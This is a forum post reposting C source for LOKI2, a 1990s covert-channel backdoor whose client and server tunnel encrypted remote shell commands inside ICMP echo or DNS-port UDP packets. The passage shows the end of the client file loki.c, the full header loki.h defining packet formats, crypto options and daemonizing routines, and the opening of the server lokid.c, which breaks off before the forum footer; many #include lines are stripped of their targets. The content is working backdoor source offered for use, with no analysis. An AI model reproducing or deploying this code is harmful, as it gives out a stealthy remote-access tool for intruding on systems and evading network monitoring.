fprintf(stderr, "%s", buf);
#endif
p_read++;
break;

case L_EOT : /* end of transmission packet */
cflags |= TRAP;
p_read++;
break;

case L_ERR : /* error msg packet (not encrypted) */
bcopy(&rdg.payload[1], buf, BUFSIZE - 1);
fprintf(stderr, "%s", buf);
#ifdef STRONG_CRYPTO
/* If the connection is not established
* we exit upon receipt of an error
*/
if (!established) clean_exit(1);
#endif
break;
#ifdef STRONG_CRYPTO
case L_PK_REPLY : /* public-key receipt */
if (verbose) fprintf(stderr, C_MSG_PKREC);
/* compute DH key parameters */
DH_compute_key(buf, (void *)BN_bin2bn(&rdg.payload[1], BN2BIN_SIZE, NULL), dh_keypair);
/* extract blowfish key from the
* DH shared secret.
*/
if (verbose) fprintf(stderr, C_MSG_SKSET);
extract_bf_key(buf, OK);
established = OK;
break;
#endif
case L_QUIT: /* termination directive packet */
fprintf(stderr, C_MSG_MUSTQUIT);
clean_exit(0);

default :
fprintf(stderr, "\nUnknown LOKI packet type");
break;
}
cflags &= ~VALIDP; /* reset VALID PACKET flag */
}
}
}
return (0);
}

/*
* Build and transmit Loki packets (client version)
*/

void loki_xmit(u_char *payload, u_short loki_id, int prot, struct sockaddr_in sin, int ptype)
{

bzero((struct loki *)&sdg, LOKIP_SIZE);
/* Encrypt and load payload, unless
* we are doing key management
*/
if (ptype != L_PK_REQ)
{
#ifdef STRONG_CRYPTO
ivec_salt++;
#endif
blur(ENCR, BUFSIZE - 1, payload);
}
bcopy(payload, &sdg.payload[1], BUFSIZE - 1);

if (prot == IPPROTO_ICMP)
{
#ifdef NET3 /* Our workaround. */
sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY;
#else
sdg.ttype.icmph.icmp_type = ICMP_ECHO;
#endif
sdg.ttype.icmph.icmp_code = (int)NULL;
sdg.ttype.icmph.icmp_id = loki_id; /* Session ID */
sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */
sdg.payload[0] = ptype;
sdg.ttype.icmph.icmp_cksum =
i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
}
if (prot == IPPROTO_UDP)
{
sdg.ttype.udph.uh_sport = loki_id;
sdg.ttype.udph.uh_dport = NL_PORT;
sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE);
sdg.payload[0] = ptype;
sdg.ttype.udph.uh_sum =
i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
}
sdg.iph.ip_v = 0x4;
sdg.iph.ip_hl = 0x5;
sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE);
sdg.iph.ip_ttl = 0x40;
sdg.iph.ip_p = prot;
sdg.iph.ip_dst = sin.sin_addr.s_addr;

if ((sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *) &sin, sizeof(sin)) < LOKIP_SIZE))
{
if (verbose) perror("[non fatal] truncated write");
}
}

/*
* help is here
*/

void help()
{

fprintf(stderr,"
%s\t\t- you are here
%s xx\t\t- change alarm timeout to xx seconds (minimum of %d)
%s\t\t- query loki server for client statistics
%s\t\t- query loki server for all client statistics
%s\t\t- swap the transport protocol ( UDP <-> ICMP ) [in beta]
%s\t\t- quit the client
%s\t\t- quit this client and kill all other clients (and the server)
%s dest\t\t- proxy to another server [ UNIMPLIMENTED ]
%s dest\t- redirect to another client [ UNIMPLIMENTED ]\n",

HELP, TIMER, MIN_TIMEOUT, STAT_C, STAT_ALL, SWAP_T, QUIT_C, QUIT_ALL, PROXY_D, REDIR_C);
}

/*
* parse escaped commands
*/

int c_parse(u_char *buf, int *timer)
{

cflags &= ~VALIDC;
/* help */
if (!strncmp(buf, HELP, sizeof(HELP) - 1) || buf[1] == '?')
{
help();
return (NOK);
}
/* change alarm timer */
else if (!strncmp(buf, TIMER, sizeof(TIMER) - 1))
{
cflags |= VALIDC;
(*timer) = atoi(&buf[sizeof(TIMER) - 1]) > MIN_TIMEOUT ? atoi(&buf[sizeof(TIMER) - 1]) : MIN_TIMEOUT;
fprintf(stderr, "\nloki: Alarm timer changed to %d seconds.", *timer);
return (NOK);
}
/* Quit client, send notice to server */
else if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
cflags |= (TERMINATE | VALIDC);
/* Quit client, send kill to server */
else if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
cflags |= (TERMINATE | VALIDC);
/* Request server-side statistics */
else if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
cflags |= VALIDC;
/* Swap transport protocols */
else if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
{
/* When using strong crypto we do not
* want to swap protocols.
*/
#ifdef STRONG_CRYPTO
fprintf(stderr, C_MSG_NOSWAP);
return (NOK);
#elif !(__linux__)
fprintf(stderr, "\nloki: protocol swapping only supported in Linux\n");
return (NOK);
#else
cflags |= (NEWTRANS | VALIDC);
#endif

}
/* Request server to redirect output
* to another LOKI client
*/
else if (!strncmp(buf, REDIR_C, sizeof(REDIR_C) - 1))
cflags |= (REDIRECT | VALIDC);
/* Request server to simply proxy
* requests to another LOKI server
*/
else if (!strncmp(buf, PROXY_D, sizeof(PROXY_D) - 1))
cflags |= (PROXY | VALIDC);

/* Bad command trap */
if (!(cflags & VALIDC))
{
fprintf(stderr, "Unrecognized command %s\n",buf);
return (NOK);
}

return (OK);
}

/*
* Dumps packets read by client...
*/

void packets_read()
{
fprintf(stderr, "Packets read: %ld\n", p_read);
}

/* EOF */
<--> loki.c
<++> L2/loki.h
#ifndef __LOKI_H__
#define __LOKI_H__

/*
* LOKI
*
* loki header file
*
* 1996/7 Guild Corporation Productions [daemon9]
*/


#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#ifdef LINUX
#include
#include
#include
/* BSDish nomenclature */
#define ip iphdr
#define ip_v version
#define ip_hl ihl
#define ip_len tot_len
#define ip_ttl ttl
#define ip_p protocol
#define ip_dst daddr
#define ip_src saddr
#endif

#ifdef BSD4
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#undef icmp_id
#undef icmp_seq
#define ip_dst ip_dst.s_addr
#define ip_src ip_src.s_addr
#endif

#ifdef SOLARIS
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#undef icmp_id
#undef icmp_seq
#define ip_dst ip_dst.s_addr
#define ip_src ip_src.s_addr
#endif

#ifdef BROKEN_IP_LEN
#define FIX_LEN(n) (x) /* FreeBSD needs this */
#else
#define FIX_LEN(n) htons(n)
#endif

/*
* Net/3 will not pass ICMP_ECHO packets to user processes.
*/

#ifdef NET3
#define D_P_TYPE ICMP_ECHO
#define C_P_TYPE ICMP_ECHOREPLY
#else
#define D_P_TYPE ICMP_ECHOREPLY
#define C_P_TYPE ICMP_ECHO
#endif

#ifdef STRONG_CRYPTO
#include "/usr/local/ssl/include/blowfish.h"
#include "/usr/local/ssl/include/bn.h"
#include "/usr/local/ssl/include/dh.h"
#include "/usr/local/ssl/include/buffer.h"

#define BF_KEYSIZE 16 /* blowfish key in bytes */
#define IVEC_SIZE 7 /* I grabbed this outta thin air. */
#define BN2BIN_SIZE 48 /* bn2bin byte-size of 384-bit prime */
#endif

#ifdef STRONG_CRYPTO
#define CRYPTO_TYPE "blowfish"
#endif
#ifdef WEAK_CRYPTO
#define CRYPTO_TYPE "XOR"
#endif
#ifdef NO_CRYPTO
#define CRYPTO_TYPE "none"
#endif

/* Start user configurable options */

#define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */
#define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */
#define MAX_CLIENT 0xa /* maximum server-side client count */
#define KEY_TIMER 0xe10 /* maximum server-side idle client TTL */

/* End user configurable options */

#define VERSION "2.0"
#define BUFSIZE 0x38 /* We build packets with a fixed payload.
* Fine for ICMP_ECHO/ECHOREPLY packets as they
* often default to a 56 byte payload. However
* DNS query/reply packets have no set size and
* are generally oddly sized with no padding.
*/

#define ICMPH_SIZE 8
#define UDPH_SIZE 8
#define NL_PORT htons(0x35)

#define PROMPT "loki> "
#define ENCR 1 /* symbolic for encrypt */
#define DECR 0 /* symbolic for decrypt */
#define NOCR 1 /* don't encrypt this packet */
#define OKCR 0 /* encrypt this packet */
#define OK 1 /* Positive acknowledgement */
#define NOK 0 /* Negative acknowledgement */
#define NNOK -1 /* Really negative acknowledgement */
#define FIND 1 /* Controls locate_client */
#define DESTROY 2 /* disposition */

/* LOKI packet type symbolics */

#define L_TAG 0xf001 /* Tags packets as LOKI */
#define L_PK_REQ 0xa1 /* Public Key request packet */
#define L_PK_REPLY 0xa2 /* Public Key reply packet */
#define L_EOK 0xa3 /* Encrypted ok */
#define L_REQ 0xb1 /* Standard reuqest packet */
#define L_REPLY 0xb2 /* Standard reply packet */
#define L_ERR 0xc1 /* Error of some kind */
#define L_ACK 0xd1 /* Acknowledgement */
#define L_QUIT 0xd2 /* Receiver should exit */
#define L_EOT 0xf1 /* End Of Transmission packet */

/* Packet type printing macro */

#ifdef DEBUG
#define PACKET_TYPE(ldg)\
\
if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \
else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \
else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \
else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \
else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \
else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \
else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \
else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \
else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \
else fprintf(stderr, "Unknown"); \
if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\
else fprintf(stderr, "\n");\

#define DUMP_PACKET(ldg, i)\
\
for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \
fprintf(stderr, "\n");\

#endif

/*
* Escaped commands (not interpreted by the shell)
*/

#define HELP "/help" /* Help me */
#define TIMER "/timer" /* Change the client side timer */
#define QUIT_C "/quit" /* Quit the client */
#define QUIT_ALL "/quit all" /* Kill all clients and server */
#define STAT_C "/stat" /* Stat the client */
#define STAT_ALL "/stat all" /* Stat all the clients */
#define SWAP_T "/swapt" /* Swap protocols */
#define REDIR_C "/redirect" /* Redirect to another client */
#define PROXY_D "/proxy" /* Proxy to another server */

/*
* Control flag symbolics
*/

#define TERMINATE 0x01
#define TRAP 0x02
#define VALIDC 0x04
#define VALIDP 0x08
#define NEWTRANS 0x10
#define REDIRECT 0x20
#define PROXY 0x40
#define SENDKILL 0x80

/*
* Message Strings
* L_ == common to both server and client
* S_ == specific to server
* C_ == specific to client
*/

#define L_MSG_BANNER "\nLOKI2\troute [(c) 1997 guild corporation worldwide]\n"
#define L_MSG_NOPRIV "\n[fatal] invalid user identification value"
#define L_MSG_SOCKET "[fatal] socket allocation error"
#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n"
#define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)"
#define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair"
#define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n"
#define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM"
#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1"
#define L_MSG_SIGCHLD "[fatal] cannot catch SIGCHLD"
#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n"
#define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n"
#define S_MSG_UNKNOWN "\nlokid: cannot locate client entry in database\n"
#define S_MSG_UNSUP "\nlokid: unsupported or unknown command string\n"
#define S_MSG_ICMPONLY "\nlokid: ICMP protocol only with strong cryptography\n"
#define S_MSG_CLIENTK "\nlokid: clean exit (killed at client request)\n"
#define S_MSG_DUP "\nlokid: duplicate client entry found, updating\n"
#define S_MSG_USAGE "\nlokid -p (i|u) [ -v (0|1) ]\n"
#define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n"
#define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n"
#define C_MSG_NOSWAP "\nloki: cannot swap protocols with strong crypto\n"
#define C_MSG_PKREQ "loki: requesting public from server\n"
#define C_MSG_PKREC "loki: received public key, computing shared secret\n"
#define C_MSG_SKSET "loki: extracting and setting expanded blowfish key\n"
#define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n"

/*
* Macros to evaluate packets to determine if they are LOKI or not.
* These are UGLY.
*/

/*
* ICMP_ECHO client packet check
*/

#define IS_GOOD_ITYPE_C(ldg)\
\
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
ldg.ttype.icmph.icmp_type == D_P_TYPE &&\
ldg.ttype.icmph.icmp_id == loki_id &&\
ldg.ttype.icmph.icmp_seq == L_TAG &&\
(ldg.payload[0] == L_REPLY ||\
ldg.payload[0] == L_PK_REPLY ||\
ldg.payload[0] == L_EOT ||\
ldg.payload[0] == L_QUIT ||\
ldg.payload[0] == L_ERR)) ==\
(1) ? (1) : (0)\
/*
* ICMP_ECHO daemon packet check
*/

#define IS_GOOD_ITYPE_D(ldg)\
\
(i_check((u_short *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\
ldg.ttype.icmph.icmp_type == C_P_TYPE &&\
ldg.ttype.icmph.icmp_seq == L_TAG &&\
(ldg.payload[0] == L_REQ ||\
ldg.payload[0] == L_QUIT ||\
ldg.payload[0] == L_PK_REQ)) ==\
(1) ? (1) : (0)\
/*
* UDP client packet check
*/

#define IS_GOOD_UTYPE_C(ldg)\
\
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
ldg.ttype.udph.uh_sport == NL_PORT &&\
ldg.ttype.udph.uh_dport == loki_id &&\
(ldg.payload[0] == L_REPLY ||\
ldg.payload[0] == L_EOT ||\
ldg.payload[0] == L_QUIT ||\
ldg.payload[0] == L_ERR)) ==\
(1) ? (1) : (0)\
/*
* UDP daemon packet check. Yikes. We need more info here.
*/

#define IS_GOOD_UTYPE_D(ldg)\
\
(i_check((u_short *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\
ldg.ttype.udph.uh_dport == NL_PORT &&\
(ldg.payload[0] == L_QUIT ||\
ldg.payload[0] == L_REQ)) ==\
(1) ? (1) : (0)\
/*
* ICMP_ECHO / ICMP_ECHOREPLY header prototype
*/

struct icmp_echo
{
u_char icmp_type; /* 1 byte type */
u_char icmp_code; /* 1 byte code */
u_short icmp_cksum; /* 2 byte checksum */
u_short icmp_id; /* 2 byte identification */
u_short icmp_seq; /* 2 byte sequence number */
};

/*
* UDP header prototype
*/

struct udp
{
u_short uh_sport; /* 2 byte source port */
u_short uh_dport; /* 2 byte destination port */
u_short uh_ulen; /* 2 byte length */
u_short uh_sum; /* 2 byte checksum */
};


/*
* LOKI packet prototype
*/

struct loki
{
struct ip iph; /* IP header */
union
{
struct icmp_echo icmph; /* ICMP header */
struct udp udph; /* UDP header */
}ttype;
u_char payload[BUFSIZE]; /* data payload */
};

#define LOKIP_SIZE sizeof(struct loki)
#define LP_DST rdg.iph.ip_src

void blur(int, int, u_char *); /* Symmetric encryption function */
char *host_lookup(u_long); /* network byte -> human readable */
u_long name_resolve(char *); /* human readable -> network byte */
u_short i_check(u_short *, int); /* Ah yes, the IP family checksum */
int c_parse(u_char *, int *); /* parse escaped commands [client] */
void d_parse(u_char *, pid_t, int); /* parse escaped commands [server] */
/* build and transmit LOKI packets */
void loki_xmit(u_char *, u_short, int, struct sockaddr_in, int);
int lokid_xmit(u_char *, u_long, int, int);
void err_exit(int, int, int, char *); /* handle exit with reason */
void clean_exit(int); /* exit cleanly */
void help(); /* lala */
void shadow(); /* daemonizing routine */
void swap_t(int); /* swap protocols [server-side] */
void reaper(int); /* prevent zombies */
void catch_timeout(int); /* ALARM signal catcher */
void client_expiry_check(); /* expire client from shm */
void prep_shm(); /* Prepare shm ans semaphore */
void dump_shm(); /* detach shm */
void packets_read(); /* packets read (client) */
void fd_status(int, int); /* dumps fd stats */
#ifdef PTY
int ptym_open(char *);
int ptys_open(int, char *);
pid_t pty_fork(int *, char *, struct termios *, struct winsize *);
#endif
#ifdef STRONG_CRYPTO
DH* generate_dh_keypair(); /* generate DH params and keypair */
u_char *extract_bf_key(u_char *, int); /* extract and md5 and set bf key */
#endif

#endif /* __LOKI_H__ */
<--> loki.h
<++> L2/lokid.c
/*
* LOKI2
*
* [ lokid.c ]
*
* 1996/7 Guild Corporation Worldwide [daemon9]
*/

#include "loki.h"
#include "client_db.h"
#include "shm.h"

jmp_buf env; /* holds our stack frame */
struct loki sdg, rdg; /* LOKI packets */
time_t uptime = 0; /* server uptime */
u_long b_sent = 0, p_sent = 0; /* bytes / packets written */
u_short c_id = 0; /* client id */
int destroy_shm = NOK; /* Used to mark whether or not
* a process should destroy the
* shm segment upon exiting.
*/
int verbose = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0;

#ifdef STRONG_CRYPT
Back to top
Display posts from previous:   
Post new topic   Reply to topic    Trilight Zone Forum Index -> Security All times are GMT
Page 1 of 1

 


Powered by phpBB © 2001, 2005 phpBB Group